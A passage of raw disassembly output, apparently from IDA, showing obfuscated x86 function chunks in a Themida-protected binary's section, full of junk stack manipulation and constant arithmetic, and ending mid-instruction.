; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560548: ; CODE XREF: sub_56755A+54CAj pop [esp+18h+var_18] add [esp+14h+var_14], 4 mov edx, [esp+14h+var_14] jmp loc_56E8B6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56026A loc_560557: ; CODE XREF: sub_56026A+6EC9j add ecx, ebp jmp loc_566BD7 ; END OF FUNCTION CHUNK FOR sub_56026A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56055E: ; CODE XREF: sub_56755A-7158j shr esi, 7 jmp loc_55F8FA ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C719 loc_560566: ; CODE XREF: sub_55C719+C1D3j push 312Dh mov [esp+8+var_8], esp jmp loc_55EE4A ; END OF FUNCTION CHUNK FOR sub_55C719 ; --------------------------------------------------------------------------- loc_560573: ; CODE XREF: Themida_:00563B7Dj pop ecx add esp, 4 push edx push eax jmp loc_56EB20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560581: ; CODE XREF: sub_56755A-93CCj push dword ptr [esp+0] pop ebx sub esp, 4 mov [esp+4+var_4], edx jmp loc_568C03 ; --------------------------------------------------------------------------- loc_560593: ; CODE XREF: sub_56755A+8D11j jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565996 loc_560598: ; CODE XREF: sub_565996+23j mov ecx, [esp+8+var_8] push ecx mov ecx, esp add ecx, 4 jmp loc_560162 ; END OF FUNCTION CHUNK FOR sub_565996 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5605A9: ; CODE XREF: sub_56755A-3796j xor edi, 48A556DDh push ebx push esp jmp loc_56D40C ; --------------------------------------------------------------------------- loc_5605B6: ; CODE XREF: sub_56755A-288Dj xor edi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] or eax, eax jz loc_55B858 push 3DCCh jmp loc_564D8E ; --------------------------------------------------------------------------- loc_5605CE: ; CODE XREF: sub_56755A+16Ej mov esi, [esp+10h+var_10] add esp, 4 push eax not [esp+10h+var_10] mov eax, [esp+10h+var_10] add esp, 4 shr eax, 2 jmp loc_564B47 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5605E6: ; CODE XREF: Themida_:0056F18Fj xor esi, 59F10E97h sub ebx, esi jmp loc_5671C0 ; --------------------------------------------------------------------------- loc_5605F3: ; CODE XREF: Themida_:00566162j add edx, 4 add edx, 4 push edx push dword ptr [esp+4] push dword ptr [esp] pop edx add esp, 4 pop dword ptr [esp] pop esp add esp, 4 push ecx push esp pop ecx push edi push esi jmp loc_5643D6 ; --------------------------------------------------------------------------- loc_56061C: ; CODE XREF: Themida_:00569C1Fj push esp mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 push 4930h mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_5684A5 ; --------------------------------------------------------------------------- loc_560641: ; CODE XREF: Themida_:0056E071j add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] shl eax, 1 inc eax push ebp mov ebp, 1 sub eax, ebp pop ebp sub eax, 45FEDB0Ch add edx, eax pop eax push ebp jmp loc_56FF3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_56066D: ; CODE XREF: sub_56F7FC-9DE8j pop edi loc_56066E: ; CODE XREF: sub_56755A-74D8j ; sub_56F7FC-27FBj push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_5691C8 ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_56067F: ; CODE XREF: Themida_:00565E41j add [esp+4], ecx add dword ptr [esp+4], 5CFF4510h mov ecx, [esp] jmp loc_566551 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5702DD loc_560693: ; CODE XREF: sub_5702DD-2D62j mov edi, eax jmp loc_563CBF ; END OF FUNCTION CHUNK FOR sub_5702DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEE9 loc_56069A: ; CODE XREF: sub_56CEE9-F77Fj xchg edx, [esp+4+var_4] pop esp mov [esp+0], esi sub esp, 4 mov [esp+4+var_4], edx mov edx, 1F4B382Ah neg edx jmp loc_55C158 ; END OF FUNCTION CHUNK FOR sub_56CEE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5606B6: ; CODE XREF: sub_56755A+5257j mov ebx, [esp+0Ch+var_C] add esp, 4 add eax, esi add eax, 34B16292h push [esp+8+var_8] pop esi add esp, 4 xchg eax, [esp+4+var_4] mov esp, [esp+4+var_4] mov ax, word ptr [esp+4+var_4] jmp loc_566F2F ; --------------------------------------------------------------------------- loc_5606DC: ; CODE XREF: sub_56755A+4D63j sub esi, 848EC8EAh push edi mov edi, esi mov eax, edi jmp loc_565A8C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5606EC: ; CODE XREF: Themida_:0056AFADj push eax jmp loc_55F58C ; --------------------------------------------------------------------------- loc_5606F2: ; CODE XREF: Themida_:0056EA13j add edi, 2B3E4C72h jmp loc_55F5E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564E24 loc_5606FD: ; CODE XREF: sub_564E24-8994j push 5F8Ch mov [esp+4+var_4], ebp jmp loc_56613B ; END OF FUNCTION CHUNK FOR sub_564E24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E931 loc_56070A: ; CODE XREF: sub_55E931+42F1j mov eax, [esp+0] add esp, 4 add esp, 4 sub esp, 4 mov [esp-4+arg_0], esi sub esp, 4 mov [esp+0], esp add dword ptr [esp+0], 4 jmp loc_55F87C ; END OF FUNCTION CHUNK FOR sub_55E931 ; --------------------------------------------------------------------------- loc_56072E: ; CODE XREF: Themida_:00562F5Dj shr dh, 7 jmp loc_5700EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570668 loc_560736: ; CODE XREF: sub_570668-13463j add edx, eax mov ecx, [edx] pop edx mov eax, [esp+0] add esp, 4 push edi mov edi, 381C1FB5h push 7AE8h mov [esp+4+var_4], edi xchg eax, [esp+4+var_4] jmp loc_55C9AF ; END OF FUNCTION CHUNK FOR sub_570668 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560757: ; CODE XREF: sub_56755A+62C6j add esi, 4 xchg esi, [esp+8+var_8] mov esp, [esp+8+var_8] add [esp+8+var_4], 6E18683Ah sub [esp+8+var_4], 79345518h jmp loc_56257D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_560775: ; CODE XREF: Themida_:0055F1BFj push esi mov esi, 3C18414Ch jmp loc_56F3B8 ; --------------------------------------------------------------------------- loc_560780: ; CODE XREF: Themida_:0056E31Cj xor ebx, ecx pop ecx jmp loc_56DBEC ; --------------------------------------------------------------------------- loc_560788: ; CODE XREF: Themida_:00561176j mov eax, esp jmp loc_56723C ; --------------------------------------------------------------------------- loc_56078F: ; CODE XREF: Themida_:00564ABAj sub eax, 56AB68C7h sub edi, 176663DBh add edi, eax add edi, 176663DBh mov eax, [esp] add esp, 4 add edi, 2 jmp loc_56135C ; --------------------------------------------------------------------------- loc_5607B3: ; CODE XREF: Themida_:00563295j neg edx jmp loc_56A0D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560D65 loc_5607BA: ; CODE XREF: sub_560D65+Cj xor ebx, esi pop esi jmp loc_56F63B ; END OF FUNCTION CHUNK FOR sub_560D65 ; --------------------------------------------------------------------------- loc_5607C2: ; CODE XREF: Themida_:005656EEj xchg edx, [esp] jmp loc_5624BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_5607CA: ; CODE XREF: sub_56E89A-3F03j mov esp, [esp+10h+var_10] pop ecx jmp loc_56E6DF ; END OF FUNCTION CHUNK FOR sub_56E89A ; =============== S U B R O U T I N E ======================================= sub_5607D3 proc near ; CODE XREF: sub_56755A+260Ej var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00564016 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 00564DA5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00566748 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00567400 SIZE 00000031 BYTES push ebp push edx mov edx, 7AB67A32h not edx add edx, 774926F1h add edx, 25060A2Dh jmp loc_564DA5 sub_5607D3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5607ED: ; CODE XREF: sub_56755A-74ECj add edi, ebp pop ebp xchg edi, [esp+4+var_4] mov esp, [esp+4+var_4] xor [esp+4+var_4], eax jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_5607FE: ; CODE XREF: sub_56F7FC-68D1j mov eax, ebp pop ebp jmp loc_567306 ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564356 loc_560806: ; CODE XREF: sub_564356+70Ej pop eax mov ebp, ecx pop ecx xor esi, ebp jmp loc_5692F2 ; END OF FUNCTION CHUNK FOR sub_564356 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_560811: ; CODE XREF: sub_56F7FC-F9D7j push edx mov edx, 21C1462Fh not edx or edx, 2EFA6E5Bh xor edx, 0FFC74864h jmp loc_56DBBF ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56082A: ; CODE XREF: sub_56755A+7249j mov ecx, [esp+4+var_4] add esp, 4 push 0A71h mov [esp+4+var_4], esi push dword ptr [esp+4] pop esi jmp loc_56871C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5635DE loc_560842: ; CODE XREF: sub_5635DE+C258j pop ebp mov edx, ecx mov ecx, [esp+0] add esp, 4 add edx, 5E98455Bh and edx, 0D57DCFh push ebp mov ebp, 5E4F0A96h or edx, ebp mov ebp, [esp+0] jmp loc_55FC77 ; END OF FUNCTION CHUNK FOR sub_5635DE ; --------------------------------------------------------------------------- loc_56086A: ; CODE XREF: Themida_:0057051Aj inc eax not eax jmp loc_56BC18 ; --------------------------------------------------------------------------- loc_560872: ; CODE XREF: Themida_:0055EA2Fj pop ebx jmp loc_57062E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560878: ; CODE XREF: sub_56755A-B79Dj mov [esp+1Ah+var_1C+2], edx push esp jmp loc_56A8D1 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56970A loc_560881: ; CODE XREF: sub_56970A-CE78j add eax, 88B0B3Eh not eax jmp loc_55DE09 ; END OF FUNCTION CHUNK FOR sub_56970A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56088D: ; CODE XREF: sub_56755A-3189j add edx, 7D7061E2h pop esi xchg edx, [esp+1Ah+var_1C+2] jmp loc_56C58A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56089C: ; CODE XREF: Themida_:005650D7j push 2265h mov [esp], esi mov esi, esp add esi, 4 push eax mov eax, 4 add esi, eax push dword ptr [esp] pop eax jmp loc_564BAB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5608BD: ; CODE XREF: sub_56755A+3C5Fj add al, 0BBh jmp loc_56CAF5 ; --------------------------------------------------------------------------- loc_5608C4: ; CODE XREF: sub_56755A+76C2j add ch, 87h sub ch, 1Eh sub al, ch pop ecx add al, dl add al, 0E8h push [esp+16h+var_18+2] jmp loc_567340 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_5608D9 proc near ; CODE XREF: sub_56755A-6279j push ebx mov ebx, 1A280C58h add eax, ebx pop ebx jmp sub_5646E3 sub_5608D9 endp ; --------------------------------------------------------------------------- loc_5608E7: ; CODE XREF: Themida_:0056CC28j mov ebp, 2 sub esi, 7B682427h add esi, 141170A8h jmp loc_56CDA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5608FD: ; CODE XREF: sub_56755A-5F40j mov word ptr [esp+1Ah+var_1C+2], dx push ax pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_560909: ; CODE XREF: sub_56755A+492j mov [esp+20h+var_20], edi mov edi, edx mov eax, edi pop edi jmp loc_56B2C3 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E75E loc_560916: ; CODE XREF: sub_56E75E-962Cj mov esi, 3BFF27D2h shl esi, 7 jmp loc_55E1D8 ; END OF FUNCTION CHUNK FOR sub_56E75E ; --------------------------------------------------------------------------- loc_560923: ; CODE XREF: Themida_:0056C70Fj add ebp, eax jmp loc_55F9BC ; --------------------------------------------------------------------------- loc_56092A: ; CODE XREF: Themida_:00562F83j mov [esp], ebx jmp loc_57022E ; --------------------------------------------------------------------------- loc_560932: ; CODE XREF: Themida_:0056591Ej pop ebx add esp, 4 push 167Bh mov [esp], edx jmp loc_56489D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562FB2 loc_560946: ; CODE XREF: sub_562FB2+32j push eax mov eax, 34961E7h sub eax, 61DA591Eh jmp loc_5644DD ; END OF FUNCTION CHUNK FOR sub_562FB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BA15 loc_560956: ; CODE XREF: sub_56BA15-2034j sub esi, 7CAC0F23h push eax jmp loc_56845A ; END OF FUNCTION CHUNK FOR sub_56BA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560B67 loc_560962: ; CODE XREF: sub_560B67+D624j push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+8+var_8] pop esp mov [esp+4+var_4], ebp mov ebp, 4 add ecx, ebp pop ebp xchg ecx, [esp+0] pop esp not ecx push 61BEh mov [esp+0], eax sub esp, 4 mov [esp+4+var_4], ecx pop eax push dword ptr [esp+0] mov ecx, [esp+4+var_4] jmp loc_56C9E0 ; END OF FUNCTION CHUNK FOR sub_560B67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5706E9 loc_5609A0: ; CODE XREF: sub_5706E9+8j not ebp add ebp, 280E1C0Eh jmp loc_55F65D ; END OF FUNCTION CHUNK FOR sub_5706E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5646E3 loc_5609AD: ; CODE XREF: sub_5646E3-72A1j push dword ptr [esp+0] pop ecx add esp, 4 add esp, 4 movzx eax, al push dword ptr [edi+eax*4] push 21Ch mov [esp+0], ebx push 4A38h mov [esp+4+var_4], ecx jmp loc_55D4A2 ; END OF FUNCTION CHUNK FOR sub_5646E3 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_5647B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B774 loc_5609E4: ; CODE XREF: sub_56B774-84D9j push esp pop esi add esi, 4 jmp loc_561CD5 ; END OF FUNCTION CHUNK FOR sub_56B774 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5609F1: ; CODE XREF: sub_56755A+1CD5j add ebx, 0DEB8194Ch add edx, ebx pop ebx sub edx, 0ECB1050Fh sub ebp, 35465513h add ebp, edx jmp loc_56205E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CAA loc_560A0D: ; CODE XREF: sub_560CAA+9410j mov edx, edi pop edi jmp loc_55C054 ; END OF FUNCTION CHUNK FOR sub_560CAA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55D71E loc_560A15: ; CODE XREF: sub_55D71E+E187j pop edx jmp loc_5669DD ; END OF FUNCTION CHUNK FOR sub_55D71E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560A1B: ; CODE XREF: sub_56755A-5714j pop edx shl bl, 3 jmp loc_56141A ; --------------------------------------------------------------------------- loc_560A24: ; CODE XREF: sub_56755A-6268j neg edi or edi, 42671F93h shr edi, 3 shr edi, 7 neg edi sub edi, 889F0264h sub esi, edi pop edi sub esi, eax add esi, 77273DADh sub esi, 5EC79DAh pop eax xor esi, [esp+0Ch+var_C] xor [esp+0Ch+var_C], esi jmp loc_55B7F3 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_560A57: ; CODE XREF: Themida_:00569C94j pop ebp shl edx, 8 push ebp mov ebp, 337E348Ah push ecx mov ecx, 0E913E15h jmp loc_56AC67 ; --------------------------------------------------------------------------- loc_560A6C: ; CODE XREF: Themida_:005697F6j mov ebp, 577242DDh push ecx mov ecx, 2884675Bh neg ecx and ecx, 756A2485h jmp loc_560E79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEE9 loc_560A84: ; CODE XREF: sub_56CEE9-808Dj push edi jmp loc_56FC8E ; END OF FUNCTION CHUNK FOR sub_56CEE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561BE4 loc_560A8A: ; CODE XREF: sub_561BE4+35j pop eax neg eax push ecx mov ecx, 0FF16AE58h xor eax, ecx pop ecx push eax jmp loc_57045C ; END OF FUNCTION CHUNK FOR sub_561BE4 ; --------------------------------------------------------------------------- loc_560A9C: ; CODE XREF: Themida_:0056EB62j push 50B7h mov [esp], ebp mov ebp, 2 push eax push ebx mov ebx, 7B636619h dec ebx not ebx jmp loc_563E56 ; --------------------------------------------------------------------------- loc_560AB8: ; CODE XREF: Themida_:00569DF8j sub eax, 2B4249E9h pop ecx add eax, ebx push ebx mov ebx, 6E5C5214h inc ebx dec ebx neg ebx jmp loc_566BA8 ; --------------------------------------------------------------------------- loc_560ACF: ; CODE XREF: Themida_:0056AE8Fj pop edi add ecx, 4 xchg ecx, [esp] pop esp push 553Dh mov [esp], edx push ebx jmp loc_567DCF ; --------------------------------------------------------------------------- loc_560AE5: ; CODE XREF: Themida_:0056EABEj mov esi, edi mov ebp, esi pop esi jmp loc_5691A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_560AEF: ; CODE XREF: sub_56F7FC-CE6Ej add ecx, 30C16CE2h shr ecx, 5 dec ecx jmp loc_5691AF ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_560AFE: ; CODE XREF: Themida_:0056846Bj sub ebx, esi add ebx, 53546DDDh push dword ptr [esp] pop esi add esp, 4 sub ebp, 7FB84FB4h add ebp, ebx add ebp, 7FB84FB4h push dword ptr [esp] pop ebx add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] idiv cl movzx cx, ah push small 3A61h mov [esp], cx movzx cx, al jmp loc_563714 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F5D6 loc_560B48: ; CODE XREF: sub_55F5D6+DFD3j mov esp, [esp+0] push [esp-4+arg_0] jmp loc_55EED8 ; END OF FUNCTION CHUNK FOR sub_55F5D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560B53: ; CODE XREF: sub_56755A+117j jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_560B58: ; CODE XREF: Themida_:0056DDEDj mov [esp], ebp mov ebp, 4 add ecx, ebp jmp loc_55EDB3 ; =============== S U B R O U T I N E ======================================= sub_560B67 proc near ; CODE XREF: sub_564E24+132Dj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C8B2 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0055CA99 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055DCDE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055FD8F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00560962 SIZE 0000003E BYTES ; FUNCTION CHUNK AT 00560DEB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005616AF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00561E7A SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00561FB4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005621E7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00564E50 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056523A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00565B9B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00565BFD SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00566E51 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056BFD1 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0056C9E0 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056D2CA SIZE 00000039 BYTES ; FUNCTION CHUNK AT 0056E183 SIZE 0000000D BYTES push ebx jmp loc_561FB4 sub_560B67 endp ; --------------------------------------------------------------------------- loc_560B6D: ; CODE XREF: Themida_:00562A3Cj add edi, 5CA63EE8h jmp loc_55D2C9 ; --------------------------------------------------------------------------- loc_560B78: ; CODE XREF: Themida_:0055BE1Cj mov [esp], esp add dword ptr [esp], 4 pop ebp push ebx push edx mov edx, 4EC53D07h mov ebx, 539898F5h sub ebx, edx pop edx xor ebx, 37501279h dec ebx push ebp jmp loc_56D023 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_560B9F: ; CODE XREF: sub_56CB7D+442j shr eax, 0Bh jmp loc_5684CB ; --------------------------------------------------------------------------- loc_560BA7: ; CODE XREF: sub_56CB7D-10E81j add esp, 4 add esp, 4 jmp loc_568932 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560BB8: ; CODE XREF: sub_56755A-9C8j push edx jmp loc_56935A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_560BBE: ; CODE XREF: Themida_:005673A8j add ebx, 4 jmp loc_56B418 ; --------------------------------------------------------------------------- loc_560BC9: ; CODE XREF: Themida_:0055B896j push 356Ch mov [esp], esi push ecx mov ecx, 59DC7F54h push eax push edx mov edx, 28BF1252h push ebp mov ebp, edx mov eax, ebp pop ebp jmp loc_569E76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560BE9: ; CODE XREF: sub_56755A+AACj push 4031h mov [esp+14h+var_14], ecx push esp jmp loc_564731 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_560BF7: ; CODE XREF: Themida_:00561F64j mov ebp, [esp] add esp, 4 push edx jmp loc_56DC79 ; --------------------------------------------------------------------------- loc_560C03: ; CODE XREF: Themida_:0056D8CBj add ecx, 4 sub ecx, 4 jmp loc_563166 ; --------------------------------------------------------------------------- loc_560C11: ; CODE XREF: Themida_:0056F6DFj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_56F4CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560C20: ; CODE XREF: sub_56755A-6810j mov [esp+18h+var_18], edi push ebx mov ebx, 40D5744Ah mov edi, ebx pop ebx xor esi, edi mov edi, [esp+18h+var_18] add esp, 4 xor esi, 54E30123h sub esi, 3F82C3Fh jmp loc_56CB14 ; --------------------------------------------------------------------------- loc_560C45: ; CODE XREF: sub_56755A-31AEj push [esp+14h+var_14] jmp loc_5616C2 ; --------------------------------------------------------------------------- loc_560C4D: ; CODE XREF: sub_56755A-8FAj xor ecx, 562E76C8h dec ecx add ecx, 991B45BEh sub ebx, ecx pop ecx sub ebx, 78904305h mov ebp, [esp+14h+var_14] add esp, 4 jmp loc_560048 ; --------------------------------------------------------------------------- loc_560C6E: ; CODE XREF: sub_56755A+3CD4j add bl, al pop eax jmp sub_561D1D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_560C76: ; CODE XREF: Themida_:0055DB1Fj add esp, 4 add ebx, esi jmp loc_55EBD2 ; --------------------------------------------------------------------------- loc_560C80: ; CODE XREF: Themida_:00566B2Bj not ebp shr ebp, 2 xor ebp, 0B5BD448h sub esi, ebp pop ebp add [esp+4], esi jmp loc_566067 ; =============== S U B R O U T I N E ======================================= sub_560C97 proc near ; CODE XREF: sub_56755A+52BAj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00561A5C SIZE 00000010 BYTES sub esp, 4 mov [esp+4+var_4], ebx mov bh, 8 jmp loc_561A5C sub_560C97 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_560CA4: ; CODE XREF: sub_56E89A-EA5Dj pop eax jmp loc_56F28F ; END OF FUNCTION CHUNK FOR sub_56E89A ; =============== S U B R O U T I N E ======================================= sub_560CAA proc near ; CODE XREF: sub_56755A+7803j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C054 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0055E242 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0055FD38 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00560A0D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005634AC SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00564178 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005647CB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00564FE4 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00565F97 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A0AD SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056B801 SIZE 00000011 BYTES sub esp, 4 jmp loc_564178 sub_560CAA endp ; --------------------------------------------------------------------------- lodsb push ecx push esp jmp loc_5674AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_560CBD: ; CODE XREF: sub_56F7FC-9231j add ecx, 3DB853ACh mov edx, [esp+4+var_4] add esp, 4 jmp sub_56E89A ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_560CD1: ; CODE XREF: Themida_:0056E801j mov dl, bl pop ebx mov ch, 10h push eax mov ah, 3Ah sub ch, ah pop eax add ch, dl add ch, 3Ah pop edx sub ch, 3Ah jmp loc_5617F2 ; --------------------------------------------------------------------------- loc_560CEA: ; CODE XREF: Themida_:0055BBF2j push 3A1Dh jmp loc_56E9A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F88 loc_560CF4: ; CODE XREF: sub_562F88+594Bj mov [esp+0], edi mov edi, 4C3C4F7Eh shr edi, 7 or edi, 15B17830h jmp sub_562FB2 ; END OF FUNCTION CHUNK FOR sub_562F88 ; --------------------------------------------------------------------------- loc_560D0A: ; CODE XREF: Themida_:00561969j sub al, bl jmp loc_55FAB8 ; --------------------------------------------------------------------------- loc_560D11: ; CODE XREF: Themida_:0055CA09j add dword ptr [esp], 4 jmp loc_55EBAA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_560D1D: ; CODE XREF: sub_55FDEF+AFB1j push 4FF57644h jmp loc_561E6C ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- loc_560D27: ; CODE XREF: Themida_:00563F83j mov bl, 6Eh push ebx mov bh, 89h mov cl, 8Fh jmp loc_56544E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_560D33: ; CODE XREF: sub_56755A+A3Fj pop esi xchg ecx, [esp+8+var_8] pop esp jmp sub_56250B ; --------------------------------------------------------------------------- loc_560D3D: ; CODE XREF: sub_56755A-2111j not esi add esi, 427B6122h push 10F0h jmp loc_560C20 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_560D4F: ; CODE XREF: Themida_:0055BB12j mov edx, [esp] add esp, 4 jmp loc_560F3A ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_55B7A7 ; =============== S U B R O U T I N E ======================================= sub_560D65 proc near ; CODE XREF: sub_56755A-1D8j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055E0BB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005607BA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00568D65 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056BA47 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056F63B SIZE 0000000C BYTES push ebx push esi mov esi, 52A2174Eh mov ebx, 51530CA5h jmp loc_5607BA sub_560D65 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_560D76: ; CODE XREF: sub_56CB7D-10690j add esp, 4 jmp 